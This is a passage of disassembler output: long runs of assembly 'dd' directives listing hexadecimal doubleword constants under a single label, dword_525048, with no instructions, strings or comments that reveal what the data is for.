		dd 0D2A50777h, 90D7311Eh, 1618A9EDh, 116A9100h,	926D5AE2h
		dd 65840014h, 0F47C1C79h, 8F7B9B52h, 40AEEA01h,	482A71EFh
		dd 7D3A8C40h, 0CDF00008h, 0C930FF82h, 0B3007A5Fh, 144AEFA1h
		dd 0CA6F50h, 92B56388h,	5BB8FA32h, 0E008AE00h, 690D2D3Eh
		dd 818B386Ah, 2C805538h, 0FF5087C7h, 0F0582F35h, 921400F3h
		dd 0E7720BC9h, 7A42EAA4h, 38B0F3h, 0AA5448EAh, 0BE3D1682h
		dd 1A1D3C07h, 0E41DD0Ah, 79F47A3Eh, 0ACF700CBh,	6FD015B2h
		dd 5E5CC15Bh, 0E93E35h,	2991D5F4h, 723F090h, 5A33F1ADh
		dd 0EB305C49h, 48E0E500h, 0BB5389E7h, 508B00F7h, 4DF8D0AFh
		dd 5B7607ECh, 61026670h, 3F3A649Bh, 62A8C0D4h, 28CF0E7h
		dd 6F7B37BDh, 5040A513h
		dd 0EA009B60h, 0CC3B56C0h, 32A09Fh, 4CCB1AD7h, 0C62971E8h
		dd 0A737E607h, 0ABD01214h, 5E6FBAh, 0C8347CB0h,	2F95CAEFh
		dd 0F700D973h, 2E4906FDh, 0EE2DC1Eh, 46AA6376h,	0A4F6EF60h
		dd 0FF1F444Ch, 6D40DB3Fh, 0E3350317h, 46690062h, 4B55C41Dh
		dd 0ED172BD4h, 62019A1Ch, 47B73652h, 0E6711872h, 0CDF8260Ch
		dd 0F58E00FCh, 0CCDB39A3h, 9DFB10CAh, 85D45E00h, 0D371AAh
		dd 2DEC097Ah, 1DDEFF5Fh, 0DC00C3ECh, 0C440459Ch, 1E2E75Bh
		dd 0BF84F4D4h, 643723FEh, 2A005954h, 82E024EBh,	1F28BA39h
		dd 0AEB07F44h, 238E0760h, 0BD542017h, 0DB00AB09h, 39CD110Dh
		dd 7517889h, 7F0158EEh,	0BF68C025h, 0E91FAB8Dh,	0BD9C7948h
		dd 0F90F2F80h, 0FB0832Bh, 29261963h, 3F778F8h, 5B73E116h
		dd 0D9AA7060h, 0F07C7119h, 0C98D0374h, 0EA6201D3h, 695C1DB0h
		dd 95549700h, 3DC2E17Eh, 15AF0024h, 6150B539h, 0FF06EB8h
		dd 948FD700h, 7C2FD89Eh, 958A3FCFh, 9751E004h, 31EAC0A9h
		dd 0FA16E740h, 6800B17Bh, 4361888Dh, 0D3DD00DBh, 0EDFE191Ch
		dd 0E61D36BFh, 4B801A7Fh, 0AD687508h, 90D014D5h, 0E002906Eh
		dd 74030AF7h, 5C9DD4A0h, 7E0025EDh, 0C5637F2h, 16DBEF50h
		dd 0F406E7h, 745B55D8h,	7205D4E3h, 284285E6h, 9CA47480h
		dd 3FCD18B4h, 7CD31031h, 4AF28300h, 0F5FA262Bh,	0B58D00D0h
		dd 0D66D042Ah, 0C9EE14FBh, 0A203C000h, 425606E2h, 5C67730Dh
		dd 0F100A8F2h, 5F79EF0Fh, 40093CBBh, 0E661F5h, 0B803E5C0h
		dd 505200A8h, 15B1226Bh, 8900E4DDh, 0A93E4AA2h,	3159CDh
		dd 82887926h, 0D5B65828h, 69784E09h, 0AB3C60E8h, 0C7430070h
		dd 19511BD4h, 0BC187211h, 7EE80FCAh, 4AE1CFDh, 1FCC2675h
		dd 8F64071Ah, 350E5159h, 0BA199296h, 76343B00h,	1EF353h
		dd 425A26C0h, 890FB2AEh, 0DB5B9305h, 60C10B50h,	52F48C9Ah
		dd 1413A65h, 4A770BFFh,	482D607h, 0CCC00E33h, 2F3EDCDFh
		dd 7E00F587h, 4DEF29B3h, 70C258Ah, 0FD11FCD7h, 7074F093h
		dd 21E77F40h, 920ED038h, 0F275B300h, 0AA05DE0Ah, 0C7101DBh
		dd 95F60D69h, 0C51430DAh, 2F13FB79h, 19000E5Dh,	0F442B890h
		dd 0ABF0308h, 6C301462h, 1DC73600h, 38D12E2Fh, 0FE767Ch
		dd 6B09CB10h, 874B0EBDh, 9626C403h, 0F9315878h,	3D70944Fh
		dd 0EAB0A008h, 427D092Dh, 0A4204DBEh, 0D1B4AA8Fh, 25FAFD09h
		dd 0B0F8A0C0h, 0FBDFA4h, 9E68080Ch, 3D91715Bh, 3AB9DD0Eh
		dd 0C550C0B5h, 4C973824h, 0F077F0F9h, 4B9A16BFh, 2F590AF1h
		dd 44A9098Ah, 39412780h, 0B40EC888h, 6F3E503Ah,	9CE2A05Dh
		dd 37B0E4h, 5B2A0313h, 0DA4B1BA0h, 0D3A8C800h, 95609F8Ah
		dd 0FC3C004Ch, 0E86AAE6Eh, 0A767093Bh, 0CB404D48h, 99EADCh
		dd 0D6026633h, 5E79DA4Eh, 88381E00h, 263DDF53h,	615B0014h
		dd 77F1191Ah, 7900A712h, 981C5025h, 75C89D93h, 45D80769h
		dd 0B07768AEh, 2F740228h, 464BF80Eh, 22C0DEB2h,	53E4ECB7h
		dd 26D7B39h, 957F1884h,	5C0C481h, 0E0B85175h, 0B8E15800h
		dd 1CBF4F45h, 1449240Ch, 0F53BC0h, 4E33D215h, 0D4FC8AC2h
		dd 12F60103h, 88A5B7E5h, 0B01050BAh, 683409B4h,	5CA0F729h
		dd 0DC7F4859h, 0F8C1E400h, 678893F2h, 84B55087h, 81E9006Ah
		dd 24861620h, 1005366h,	87795E05h, 759315A4h, 1E3100B3h
		dd 713927E2h, 0F450DBDCh, 0BC000CABh, 6234F1E0h, 5B0EF8h
		dd 25E9A85Ah, 1D44FFB9h, 99946900h, 1BD14A35h, 0A6B70453h
		dd 0E1173FD5h, 173CD948h, 0F1B35110h, 0B0D80F6Eh, 9D4C05B8h
		dd 0F40756C0h, 0F57EFEECh, 50A2C160h, 762C01D5h, 14273A8h
		dd 846E70A0h, 0A303791Fh, 77D69B86h, 0E5E12760h, 0BA6ECC00h
		dd 7100E046h, 296A900Dh, 7DCF9F6h, 9277FEE9h, 4853B091h
		dd 641C4324h, 6A005F15h, 0B804B02Bh, 5DFE11h, 855946A0h
		dd 0EC829B94h, 0A96ACCA0h, 138EE3Ah, 0B6906C21h, 0EBCCD7F8h
		dd 2BF61Fh, 9E469A7Ah, 0C634DC09h, 0B703AF73h, 0D2555E48h
		dd 3A80077Ch, 10FF0B1h,	0CB6FD45Bh, 8F1325B8h, 3D667809h
		dd 6DA98077h, 0A17D71h,	271C5219h, 0D5326CE1h, 18034C00h
		dd 5D17939Ch, 87190329h, 0BD9AF48Ah, 126561F0h,	0DCD70401h
		dd 5618A871h, 1FC589FCh, 43D34663h, 211FA4FFh, 0F12B48F8h
		dd 85819D00h, 0DE026B91h, 1FE0F206h, 1C9C083h, 0E78C3C45h
		dd 877030E1h, 4BEA1100h, 428040CCh, 9C10221h, 0A1D49EDAh
		dd 0C9745C60h, 4B894C01h, 0E6F8A6A2h, 3B1E3E8h,	0C6BF9878h
		dd 18C92B44h, 0A75D48Eh, 5E846A01h, 0C040689Bh,	7A00742Ch
		dd 0D48874D3h, 0E03D567h, 0C845149h, 7F12C87Eh,	0F9A7CE6h
		dd 38F6FF45h, 2F160F5Fh, 66922821h, 0E39EE85Ah,	0B058E90Bh
		dd 91C48A67h, 1A05614h,	1AC2C592h, 8DE99A2Ah, 1900683Ch
		dd 0FD03E09Bh, 0B6F64A29h, 87669E00h, 0AB69F355h, 0A0A2007Fh
		dd 5E58B4D5h, 0FFEA7DCBh, 5C8C6602h, 638235C0h,	0F7949098h
		dd 0EE7E22Bh, 158D8825h, 0EE1090A0h, 30F833Eh, 0E04A8205h
		dd 0FEE8C013h, 92910049h, 11153CD2h, 1D00C8E2h,	0C30F3EDFh
		dd 2E700A94h, 0EF8B14Ah, 0C5603A4Dh, 0B9E4CB56h, 761BB400h
		dd 0CDBE0BF7h, 30FF0116h, 0FE27ED97h, 8981D4EFh, 508DC104h
		dd 6E80F721h, 23BEA2Bh,	4EE6A287h, 0E3602CA0h, 0C20006C7h
		dd 0FEC85B2h, 1D37D0h, 8BD8FCA2h, 3E27F628h, 6726F501h
		dd 7030FE66h, 1480EF44h, 0A612CDh, 0C92927E9h, 42DF825Fh
		dd 89056D78h, 59DB2EE0h, 5CD0E600h, 9153F9Bh, 62A6BA65h
		dd 0BD354800h, 0FC00C875h, 7B444208h, 50727CBh,	1885733h
		dd 9E80BA47h, 46CC21h, 1876858Dh, 0A5A224CBh, 0D8BDBCFEh
		dd 6B49001Ch, 3F7E81C8h, 0D948CC2Fh, 0AA530054h, 0D5EE02EFh
		dd 0DD392465h, 8AF1008Eh, 0B36BFA38h, 0DFEDAB0Ch, 17B36E5h
		dd 0FF2AA8Eh, 0C0288C65h, 0A700995Dh, 9E231A9h,	92A1F81Eh
		dd 27D5E654h, 0C81C9A60h, 0DAE6DF00h, 510E87ABh, 0B97A0016h
		dd 6DCE4A4Ch, 600B7CCh,	11B48408h, 217975Dh, 99043D3Ah
		dd 843ED4Ch, 0D5D430CFh, 0D39067DAh, 4F0DF700h,	10F4A577h
		dd 9B8100EBh, 224563CEh, 7501C13Dh, 937CC30Ch, 0D5C98204h
		dd 33C4E3EDh, 4C12006Bh, 8AAFCCB0h, 0BC008840h,	3A0CA0B3h
		dd 954B85h, 64FFCD4Ah, 0F3891CBAh, 0FDD66700h, 31516CADh
		dd 0F20C1C21h, 2EF980D4h, 6B4D3712h, 0C6015B98h, 0C20925F7h
		dd 7C2045B0h, 0DFB0035h, 0B7ED9A32h, 9E00026Ch,	20112CC8h
		dd 35F70DFh, 171857B1h,	6FD85E63h, 0E9FAE106h, 0CD5AFB0Fh
		dd 89CE83h, 0B080614Dh,	6C261D16h, 0E5434CD7h, 6200B760h
		dd 8A842E7Eh, 0F34080h,	0EB27A1FFh, 0A6ABD11Ah,	2F556412h
		dd 4EB00C80h, 3F1531DFh, 0D0C71E20h, 91181F34h,	0E351A901h
		dd 0F10400D1h, 634EBB5Eh, 24E8846Fh, 0D8BA7A00h, 0ABD2E52Dh
		dd 4B6C01DEh, 0A9BEF814h, 1F388350h, 0E367EB4Fh, 8041F551h
		dd 2B2326ECh, 6F328180h, 44A6BF66h, 6DF7FF14h, 0DA7C0014h
		dd 0C37EDC80h, 0C6E50CDh, 4CA05002h, 1AB0CF15h,	3B8A3E8Eh
		dd 90EA4020h, 0B7013040h, 24B620A3h, 6E0612Dh, 22D700D9h
		dd 39D36CAh, 1900AD57h,	0D4B9510h, 56960Fh, 0FD4DECB0h
		dd 13FBC191h, 37829E01h, 6C20BF53h, 19283D0h, 1EA0D38Eh
		dd 0C5A77CBEh, 9BA0FB21h, 483AAFECh, 0D3568025h, 0A3CC50D9h
		dd 0A0C00F1Ch, 0BA6ED8E6h, 0A9B90BC6h, 98F6AD00h, 0BDE2B16Fh
		dd 51610092h, 0A25F214h
dword_525048	dd 0EC161586h, 4C3855Fh, 9C4EDD74h, 0F0D2216Fh,	83D82B0Dh
		dd 49E70330h, 62CF5A5Fh, 9E3619F8h, 3010CD30h, 30CC9939h
		dd 6D488F54h, 0D1069720h, 0E70B930Ch, 84FE89h, 4AAD8C42h
		dd 63BF9C85h, 4BB79600h, 55D617E7h, 71F70087h, 0E99014BEh
		dd 5D7ABD36h, 0F65CA107h, 3372D009h, 0D833E3B7h, 3058B257h
		dd 8AB1297Eh, 1439E1FAh, 0D03C80BAh, 0F86BF027h, 73153FB2h
		dd 0F8EC397h, 78800B88h, 14A8D001h, 30F0895Ah, 44F09753h
		dd 0A4AEC600h, 0A7D6DE81h, 0D33000FAh, 20EE2D4Ah, 9F1B670Eh
		dd 0E041BAFEh, 0D4C4F7h, 55886D85h, 0C0398151h,	0CC135600h
		dd 9F573099h, 178BDADh,	54F89D78h, 0D7687500h, 2C4186DEh
		dd 6B9800FAh, 56E3249Ah, 71050CF6h, 513913F1h, 8B451408h
		dd 9A888931h, 6ACC00EDh, 8A27D55Ch, 9D01E8EAh, 1F57F680h
		dd 0DE604F83h, 9A1800BFh, 45D622EFh, 490E9C78h,	230E6Eh
		dd 801D4FFEh, 0CE830057h, 0DA9E6A77h, 0C9000BCAh, 5E1BF564h
		dd 1E197F2Fh, 803B3428h, 0E5B07605h, 2C7542F8h,	0A73D5B7Eh
		dd 0CC790088h, 0A9222A8Eh, 0F2E81Eh, 64F93C1h, 0EBEDD477h
		dd 0B8FBE00h, 88709782h, 84A39Eh, 3E2504CEh, 7B645D0Ah
		dd 6EEFE78h, 8CDA5906h,	360B80Eh, 8721D2B2h, 0C6E881F2h
		dd 0DB00F4DDh, 97BD9111h, 931CF8h, 0D92B0E8Ah, 0B9A0741h
		dd 5BFC6500h, 3A4FF238h, 635C0B0Ch, 2003CF1h, 0EFE980F4h
		dd 932CEAA0h, 18003FE2h, 74681519h, 0BCA7E8h, 14F59B36h
		dd 942C9AAAh, 803DF93Ah, 84B3698Fh, 0EA227Dh, 0E332D949h
		dd 57E925A1h, 12FB9200h, 0BE55ADA7h, 12B6EA9Dh,	1CBC436h
		dd 72056604h, 1A5DE474h, 0E800F390h, 0A64CDF8Dh, 609551h
		dd 36098AF8h, 0D8C73C1Ch, 6DACCB01h, 0BA1DDD85h, 3EA76FFCh
		dd 0EE00776Ah, 0F01574FEh, 89388739h, 7603FBAEh, 187F4136h
		dd 491802F2h, 84CDC933h, 0BA05F085h, 71220BC0h,	0F9D10EBCh
		dd 0FA07FC45h, 5814804Fh, 0C60041F7h, 0DAC49B01h, 1899A7BBh
		dd 409AA3A6h, 0D4013ACCh, 43E6A1B3h, 85CC5F19h,	74F14809h
		dd 556D4A0Fh, 0E89ED4C0h, 7200AACAh, 9C61BB44h,	1EB741F5h
		dd 4CF2C4h, 11B8D0D2h, 35003C85h, 0DFF49189h, 17AA204h
		dd 97653390h, 80665303h, 9C712E79h, 0D18FFBh, 682FF926h
		dd 608C532Ah, 66F70300h, 15EA14BBh, 0ACBA1832h,	0C8ED10ABh
		dd 0A47D6C17h, 0C1979200h, 0F0B16A5h, 8E6D251h,	8D4B25h
		dd 1E3713CCh, 5F00073Dh, 0DBC50594h, 59EAFCh, 381BBBEDh
		dd 96DE8BA6h, 0A8E83300h, 9C2677Eh, 0CCE3095Fh,	0D700770Ah
		dd 0DF5B87F0h, 8C75411Ch, 4804AE40h, 0FE7C98h, 3177096Eh
		dd 0AD841E57h, 0A276FC00h, 0E09D509Fh, 44DD0EB2h, 81A08EBCh
		dd 9AED6797h, 518398C7h, 0CE0AE8F0h, 155766Fh, 43FE630Fh
		dd 8085A602h, 8974F410h, 6F1A028h, 0B0F93579h, 5EEAD8CDh
		dd 1EED9400h, 7EAF87D4h, 256600BEh, 0E776CF7h, 6F9038A3h
		dd 0C0E38D00h, 92709C68h, 0FAC2003Dh, 0CF693119h, 0A200FF47h
		dd 44795556h, 1FD71E1Ch, 12F9A8h, 52749015h, 0FA7DAC78h
		dd 7B285Ch, 0CAE5929Dh,	0D308Eh, 0F4C577C4h, 50E296B9h
		dd 3C7539h, 6EC38271h, 81A8E0h,	7D4C7B76h, 0DE1B5542h
		dd 5D2F1803h, 26C2A07Ah, 80AC32C8h, 0EFE11CCh, 8003B3DBh
		dd 0B62DE896h, 5E84E8F0h, 9A7032Ah, 0D873D0A5h,	499F22D8h
		dd 6AD27200h, 0F132F7CFh, 9486093Eh, 9020998Fh,	9A5FE3DDh
		dd 1684FA00h, 6335A825h, 59021C57h, 0DC1C02D0h,	0A48799ABh
		dd 12CF20F7h, 0BA4E42BDh, 5120CBE1h, 507848C9h,	29E5AD09h
		dd 902488A7h, 344D18D4h, 72300B78h, 4C9C1817h, 98EE7F2Fh
		dd 79A3008Ch, 0A1930365h, 6700100Fh, 0B82FEABCh, 2D1FD7h
		dd 153A75F4h, 5DCD0D31h, 0B0E9B138h, 3C1E70BCh,	6697946h
		dd 0B9E47DDCh, 0C90118B3h, 0DD3B8C33h, 0CC2014BAh, 21940089h
		dd 13EE47B0h, 0C00A7C6h, 0AF1E0122h, 0A3B448EDh, 194DE8F0h
		dd 0D1160047h, 986FA127h, 0E005538Eh, 0DB513804h, 678C980Fh
		dd 0AAD0F3C9h, 321CA84h, 99022D3Eh, 54D009D4h, 1D986185h
		dd 3443ED00h, 0B35F641Ch, 840D00FEh, 8D27712Ch,	8C005241h
		dd 201A2BD4h, 0AF693Fh,	2AD3B1C2h, 0A5E94AF4h, 380D9F03h
		dd 8E7074h, 0D09D01C9h,	831B5137h, 633CAF0Fh, 0F69E6002h
		dd 13B820h, 9AC2F18Fh, 80125B10h, 2EE8B78h, 1ABF0700h
		dd 0ACC7228Dh, 1FFE12CCh, 0B369000Ch, 2EFAC88Bh, 746CB3Ch
		dd 0CD7EA48Ah, 8EF52280h, 0C4A04897h, 2DFCCC03h, 0AFD0430Fh
		dd 0E6004A68h, 387382A8h, 9AD9B2C9h, 0C0713F24h, 0D500FC59h
		dd 0D6B4F9A0h, 4012F818h, 0CC06AA55h, 31048CBh,	9E1F6EFCh
		dd 19C01701h, 18BA108Fh, 0D65FDF07h, 0A07371AFh, 66DDF8C9h
		dd 159FA52h, 0F5700765h, 0F44704B4h, 0D10CD6C7h, 794E3D42h
		dd 0D9B101C9h, 50305720h, 295F7094h, 0B9601860h, 4A1FAEh
		dd 8009CBCCh, 5FA57B0h,	4D422100h, 3162D70Eh, 26D000EEh
		dd 12695872h, 2100C929h, 9C399993h, 37A6105h, 0A0BD5BBFh
		dd 68D24CDDh, 40FBD860h, 30158E03h, 0E0DEC37Eh,	8869C9h
		dd 2FCC8490h, 8CCD323Fh, 4DDF1603h, 0C9135E23h,	8870E61Fh
		dd 86103C7Ch, 8547F600h, 4C0FFF55h, 0C5AA6C1Fh,	22FE3880h
		dd 5630540h, 6981315Ch,	9756834Ah, 0D391CAA0h, 0D1275007h
		dd 0E6B0DDEEh, 0AA8539h, 0E9D85F2Ah, 808EB813h,	0EAFD2300h
		dd 67347A70h, 6CE82CA5h, 0BC4800DDh, 80CC4DCAh,	0D52ADA7Ah
		dd 4F16FC9Fh, 0EABFCD3h, 47007A92h, 0AFE3C4A3h,	0A9944E1Dh
		dd 8B93DB01h, 308314A7h, 1209E70Dh, 402672D1h, 589D44CCh
		dd 803CFA38h, 0CDB23B2Ch, 0D20BBBh, 0F51A3725h,	84175D3Eh
		dd 11472804h, 66C3756Ah, 96500033h, 4FC60DE0h, 8900C8E8h
		dd 9C14FDDAh, 4F4F9EAh,	0FBDFC1A7h, 0A04090DCh,	0D000CA2Ah
		dd 0C794EBF1h, 3D95BAA5h, 4CBA6F70h, 1A221Fh, 72B0B149h
		dd 9A674096h, 80CE1EE9h, 0A03EDA1Fh, 199E6F44h,	455504A0h
		dd 0FB33B122h, 0F83869ABh, 0BE5958h, 0D050EDA4h, 4403F5AEh
		dd 4A84848h, 77E487BDh,	4FD4D780h, 9058004Bh, 44C37FE1h
		dd 0AA615E95h, 2E2192E1h, 0F247C24h, 0CB124F01h, 0B1DF5FA0h
		dd 0DC00EA9Dh, 5B1A3BE3h, 50690Ch, 0C22F73BEh, 98CC45DAh
		dd 7F70B776h, 0C4820201h, 998E6890h, 4979CCh, 0CB191B67h
		dd 3A36321Fh, 0D7B9C6A0h, 0C8B86F00h, 2B57FD58h, 28C40351h
		dd 491B48Dh, 177ACCA0h,	67FC1900h, 8A3796BBh, 0D7973B9Fh
		dd 8927718h, 20C08218h,	0B2397EDBh, 34B500F4h, 0B35EC3FBh
		dd 0F5ECEA91h, 4C80671Eh, 877388F0h, 0B35038Ah,	477EC669h
		dd 0CA905998h, 9FF8BC0Eh, 2687E0D4h, 33FB3350h,	1A48E94Fh
		dd 4C058929h, 60181459h, 34614800h, 0CC5D2908h,	3D180053h
		dd 0A71D91AEh, 0E00A5E02h, 946F1450h, 409FFC0Fh, 0D3F53FA5h
		dd 625B031Dh, 99EAC8C9h, 596407B8h, 0A27230CFh,	0A0F846D9h
		dd 5EF45CB0h, 0B753037Ch, 0AF7952C3h, 21A10830h, 5A6CB5h
		dd 95942BF5h, 33578373h, 5B8FE400h, 6FD8071Bh, 86506023h
		dd 0BDE2AD81h, 8D9AA1Dh, 25921140h, 0FA4A8B14h,	7E27001Bh
		dd 91B7E662h, 8005886h,	18E21DDBh, 3C3D1A68h, 0A902E481h
		dd 4F648D07h, 0EEF569E0h, 667F20Fh, 17ED43F8h, 7EA3E0CDh
		dd 0AE870022h, 41E55647h, 0A9183F3Dh, 765C010Fh, 0BFC003Bh
		dd 70FB9D9Bh, 66002342h
		dd 371CD7C4h, 3D73B2h, 7FD54F1Eh, 4B8BC558h, 61800100h
		dd 0B2205917h, 0AFCE001Dh, 2F6AD0D7h, 0A407A89Ch, 0B6571EC5h
		dd 0FA7F1930h, 0BB5200D1h, 0FC1305A6h, 4301DFDCh, 0FE5190C2h
		dd 0CEFC3BC0h, 0E99207A7h, 91642F8Fh, 983D2575h, 0F2212609h
		dd 188E1C06h, 73CF0064h, 154E57BAh, 4B39E800h, 9BB98283h
		dd 30696017h, 0CC7E3E7Ah, 0B832A700h, 38B5F821h, 0D0AF0D4Bh
		dd 9F189BBEh, 0ED863D28h, 11B072h, 0DBE1387h, 0D522AEA8h
		dd 1DB6281Dh, 26216F18h, 42C1006Bh, 0CB632D5Dh,	80600594h
		dd 4A5FA569h, 0AD0B1E96h, 0BD5580A1h, 2A5D5A2Dh, 12016A00h
		dd 0E8DBE171h, 0E93818CAh, 40F2397Dh, 86956300h, 0FBF684DDh
		dd 30837414h, 3B20C92Eh, 1A006378h, 181C4415h, 0CB74E681h
		dd 6D88C091h, 0E80E0090h, 51B13CC1h, 50827C00h,	0FD20542Fh
		dd 66AA02DFh, 7A1CA707h, 0A8B49C83h, 1DB01010h,	0EFE71300h
		dd 5368BF0Bh, 0ED00DFE4h, 506CD48Ah, 711C87h, 37556D30h
		dd 1972EC98h, 0F2EF5E00h, 7FDE3F0Ch, 0A01C1E35h, 5C59C1A5h
		dd 0FCB2E0A9h, 1800FB3Bh, 810A2AC1h, 0BCB01Eh, 54E44BD5h
		dd 8CACD60Fh, 8600257Dh, 44492A1Ch, 4B9108h, 0CB3E2ECFh
		dd 1EA8BCFCh, 21039A00h, 0DF703CCAh, 50EFA18Fh,	0FD3F70h
		dd 23C1CD6Ah, 4D3D97CCh, 8B10A760h, 0B322212h, 81D0B153h
		dd 4329AE00h, 1B00232Fh, 2EB38D78h, 1288C8h, 4B01E93Eh
		dd 38E2090Ah, 88431D37h, 80D9D082h, 7A0B17A2h, 7D401EDCh
		dd 0AFFB4FE4h, 651B2C80h, 0D40036B0h, 32551126h, 11052A1h
		dd 0EFB5301Fh, 0C3476541h, 60673038h, 6233859h,	152B0026h
		dd 0DCF3814Bh, 8BB0356Dh, 0E3AE6000h, 0BBD743BEh, 44C10187h
		dd 63BB996h, 0B108FACh,	1F02E7A6h, 0B9F3BEE3h, 0ADD02D7Eh
		dd 9350084h, 7D3C4591h,	264F8C0h, 0DC403078h, 0A98C5B86h
		dd 0F36C9E00h, 0DE37CD8Bh, 0F135241Bh, 0FEAD008Fh, 2CF05A7Dh
		dd 0B010EB00h, 7090D9D2h, 0B56700D0h, 50E79885h, 93E282CEh
		dd 8F214100h, 78607C06h, 2E7B005Fh, 5896976Ch, 47302920h
		dd 4BB1312Ah, 42A007B9h, 0E0E5F78Bh, 0BA76908Ah, 0C150E800h
		dd 261AB8ADh, 3600E328h, 9C0041E7h, 10A86A42h, 1A76F7h
		dd 7F948647h, 2D0565CAh, 61299F30h, 0FA3FF9h, 97AD3923h
		dd 0F5440D0Ch, 8AC80F00h, 486AB58Fh, 0EF35007Ch, 1B66BBB4h
		dd 0E3607A80h, 4F8D8588h, 0A03D0656h, 1861ACAAh, 0A45D5C06h
		dd 0B080B581h, 60577078h, 1FC0719Fh, 7C0066E3h,	4069069Eh
		dd 0E13EFh, 0ADDE1E8Eh,	4886DF1Ah, 0C6F855Ch, 48906E9Eh
		dd 242600E1h, 2973F4A1h, 51DFD64Bh, 475C4F00h, 288FBBBAh
		dd 1E8C62BFh, 24F00873h, 0AE2B00B9h, 9248C826h,	7612BE00h
		dd 5EC9F4DAh, 2E9F3F6Fh, 0D8B960E0h, 0F7007898h, 7BE37DDEh
		dd 5FA1C3h, 0E71B8918h,	983DBDC0h, 0A584D307h, 0B6503809h
		dd 0F0627178h, 9CFB039Fh, 2E74CE80h, 4F84B9D8h,	2DAA1D00h
		dd 26277AE5h, 0DC6203E8h, 0EA019947h, 36B303Ch,	7033368Eh
		dd 20A64Dh, 0F25CF30Fh,	4ED43FC4h, 0A57D3E00h, 0BD2670E2h
		dd 3C8400B8h, 376A0347h, 9F301763h, 0F5CB6040h,	5E821F7Bh
		dd 905D4FAEh, 49452020h, 96006E3Bh, 8CA9B53Fh, 19D557h
		dd 65F06C69h, 39093082h, 80A6751Eh, 0E7B6C900h,	0DE2FABh
		dd 0B46BB73Bh, 3607399h, 28128700h, 18DBD48h, 0E5881F32h
		dd 4E140063h, 31684F29h, 404A3C00h, 1077B497h, 471B04FAh
		dd 83C8BE22h, 16F3A2B2h, 5D4944F0h, 0C417690Fh,	2B3A4055h
		dd 1B83989Dh, 284386CAh, 520751C0h, 0C2E06405h,	0E0807E31h
		dd 0ED219F6h, 4F412E96h, 990D60A0h, 0C248F0C5h,	976F0372h
		dd 0E05F8440h, 0FE27655Bh, 0C0E57A80h, 0BF66A298h, 3300D172h
		dd 46CA487Eh, 3D95D2B3h, 140C4F23h, 3ED8B988h, 3C6861Dh
		dd 0E03856D8h, 0C5F70029h, 0A3FC305Eh, 0FB7426C2h, 0D8C086EEh
		dd 0C4F7347Bh, 1C847751h, 80383D5Eh, 0E9053B67h, 0B30C24BAh
		dd 0A8316971h, 110E18A3h, 35AC1846h, 48C3211Bh,	4D2A9068h
		dd 0E730031h, 1179783h,	3CE89EDBh, 0C6C18CA8h, 0C7C83000h
		dd 9545364Ch, 42DA37F4h, 195300E1h, 0BF01D331h,	0AE04603Bh
		dd 97D82254h, 0E45D0069h, 28747C3h, 0A0008427h,	3D99CFBEh
		dd 0FD1316h, 0F8D9EF03h, 0E0A4E436h, 17D6B500h,	5308941Dh
		dd 42880011h, 0DCC6DB7Ch, 1A00C078h, 82B95B2Ah,	81F80Bh
		dd 5F3AB69Eh, 14F5A607h, 0B998D676h, 54E3007h, 5B10A0EDh
		dd 0CC9A285Dh, 9521F008h, 8B07F503h, 0A0EF342Dh, 1CC4183Ah
		dd 40784D39h, 91C61D9Fh, 1B001479h, 5D0018Ah, 6F8DF346h
		dd 0FF004065h, 0B87EE62Eh, 81FD9903h, 0A108F1DFh, 208047E9h
		dd 4541F7AAh, 0AC00FC7Fh, 0E0C85E67h, 37B9C4F8h, 6389D15Fh
		dd 117FAAEAh, 1913D630h, 708346Dh, 0B061DA4Eh, 3F9D934Dh
		dd 130E923h, 0A0440547h, 0B91898h, 900240A6h, 4E2D07F2h
		dd 63D76B03h, 0A89C38DAh, 0CFA61A8h, 0B9012CE9h, 0AD0FB159h
		dd 8537ECh, 2BAF636Eh, 50190066h, 0CE40E84Eh, 0C4E0C54Bh
		dd 1ED1FC07h, 1C0025Bh,	0ECBD8A1Fh, 5A92008Fh, 0B8463C2Dh
		dd 9D3A04F3h, 732F8039h, 0ED7A770Ch, 99543940h,	182A2503h
		dd 0E2909E5Ah, 760E222Eh, 20F9AC44h, 0EAB1E668h, 1CA57C11h
		dd 4016D395h, 82B55339h, 120FF910h, 818CD73Ch, 5D3F45DEh
		dd 7886E5C8h, 823E076Eh, 40413AB9h, 1BF51561h, 0C200D4B0h
		dd 0A8BF8320h, 3C8E5717h, 0F42CED7Eh, 0BEAA0087h, 5F14FC1h
		dd 0B882400Ch, 610872h,	0F9387908h, 0EC8D0AB7h,	0E4D6730Bh
		dd 0E561801Dh, 60A941CFh, 0BEA6C44Fh, 0E91E94DEh, 908EBF8Bh
		dd 61F00E59h, 87BD893Fh, 1E955BE8h, 0B8154Eh, 0FA070A97h
		dd 4C168019h, 2600ECBBh, 60938A71h, 898D3h, 9C745EB7h
		dd 72D58E06h, 0A96FA200h, 1E623FAEh, 4A560301h,	3B5418A7h
		dd 0C8C078AEh, 1EE6E775h, 0BB5903DFh, 69999F15h, 33D713B8h
		dd 8E04D116h, 41478B00h, 3B1E6AF5h, 0BF1DDE07h,	911FCAh
		dd 0EB0D8E20h, 7C008B71h, 0DC1F2C80h, 1F8AF1ECh, 0F0EFB617h
		dd 88A3F408h, 63FC900h,	0CC81C2Dh, 86DE0044h, 0ECB20E8Bh
		dd 0B607191Fh, 8C6422F1h, 0CFCC2900h, 3C7F24BFh, 33BD06E2h
		dd 5E300884h, 0D3A5204Ch, 5FC103C0h, 0E37A1C2h,	36EA7AF0h
		dd 98421100h, 0E7206912h, 0F09900EBh, 65286761h, 0F33A6DE2h
		dd 251F7C8Ah, 5130647Dh, 1806B26Ch, 114B3163h, 101F2D2Ch
		dd 0D05C1199h, 0DDA2CB07h, 706B103h, 56158A20h,	0A0300397h
		dd 123E4B0h, 4192D930h,	7E993D6h, 4E0AEBBBh, 1A00DB17h
		dd 4075CEB7h, 61CCC501h, 0FE7D9BE2h, 611A09Fh, 18D60FACh
		dd 0F87B3B10h, 29743504h, 0BC78C09Dh, 793C9654h, 28FA0069h
		dd 0C5578F2Bh, 0D43700E1h, 10758AD5h, 0A800694Ch, 9C971703h
		dd 779A36h, 0E009FB6Eh,	0ED2A427Ah, 0AAE4F103h,	0CB52DC13h
		dd 34D2B730h, 89B26076h, 0BF2A002Eh, 35B9F43Dh,	92039684h
		dd 48FC4112h, 0F1081C37h, 152CD8h, 5074527Fh, 18C042DCh
		dd 55C9C2E4h, 8E7C0C6Ah, 50313448h, 3C837000h, 0D50D28D0h
		dd 0B7EA3B3Bh, 1F551BFh, 0EEB9360Eh, 0E6703AC0h, 64296DE0h
